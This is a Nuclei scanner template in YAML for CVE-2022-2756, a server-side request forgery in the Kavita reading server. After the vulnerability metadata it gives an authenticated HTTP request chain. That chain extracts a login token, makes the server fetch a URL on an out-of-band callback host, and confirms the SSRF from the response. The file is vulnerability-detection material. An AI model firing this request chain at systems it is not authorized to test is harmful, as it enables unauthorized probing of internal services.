81 lines
2.2 KiB
YAML
81 lines
2.2 KiB
YAML
|
id: CVE-2022-2756
|
||
|
|
||
|
info:
|
||
|
name: Kavita <0.5.4.1 - Server-Side Request Forgery
|
||
|
author: theamanrawat
|
||
|
severity: medium
|
||
|
description: |
|
||
|
Kavita before 0.5.4.1 is susceptible to server-side request forgery in GitHub repository kareadita/kavita. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
|
||
|
reference:
|
||
|
- https://huntr.dev/bounties/95e7c181-9d80-4428-aebf-687ac55a9216/
|
||
|
- https://github.com/kareadita/kavita
|
||
|
- https://github.com/kareadita/kavita/commit/9c31f7e7c81b919923cb2e3857439ec0d16243e4
|
||
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-2756
|
||
|
remediation: Fixed in 0.5.4.1.
|
||
|
classification:
|
||
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
|
||
|
cvss-score: 6.5
|
||
|
cve-id: CVE-2022-2756
|
||
|
cwe-id: CWE-918
|
||
|
metadata:
|
||
|
shodan-query: title:"kavita"
|
||
|
verified: "true"
|
||
|
tags: ssrf,kavita,authenticated,huntr,cve,cve2022
|
||
|
|
||
|
http:
|
||
|
- raw:
|
||
|
- |
|
||
|
POST /api/account/login HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
Accept: application/json, text/plain, */*
|
||
|
Content-Type: application/json
|
||
|
|
||
|
{"username":"{{username}}","password":"{{password}}"}
|
||
|
|
||
|
- |
|
||
|
POST /api/upload/upload-by-url HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
Accept: application/json, text/plain, */*
|
||
|
Authorization: Bearer {{token}}
|
||
|
Content-Type: application/json
|
||
|
|
||
|
{"url":"http://oast.me/#.png"}
|
||
|
|
||
|
- |
|
||
|
GET /api/image/cover-upload?filename=coverupload_{{filename}}.png HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
Authorization: Bearer {{token}}
|
||
|
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
- type: word
|
||
|
part: body_3
|
||
|
words:
|
||
|
- "Interactsh Server"
|
||
|
|
||
|
- type: word
|
||
|
part: header
|
||
|
words:
|
||
|
- "image/png"
|
||
|
|
||
|
- type: status
|
||
|
status:
|
||
|
- 200
|
||
|
|
||
|
extractors:
|
||
|
- type: regex
|
||
|
internal: true
|
||
|
name: token
|
||
|
group: 1
|
||
|
regex:
|
||
|
- '"token":"(.*?)"'
|
||
|
|
||
|
- type: regex
|
||
|
internal: true
|
||
|
name: filename
|
||
|
group: 1
|
||
|
regex:
|
||
|
- 'coverupload.(.*?).png'
|
||
|
|
||
|
# Enhanced by md on 2023/04/13
|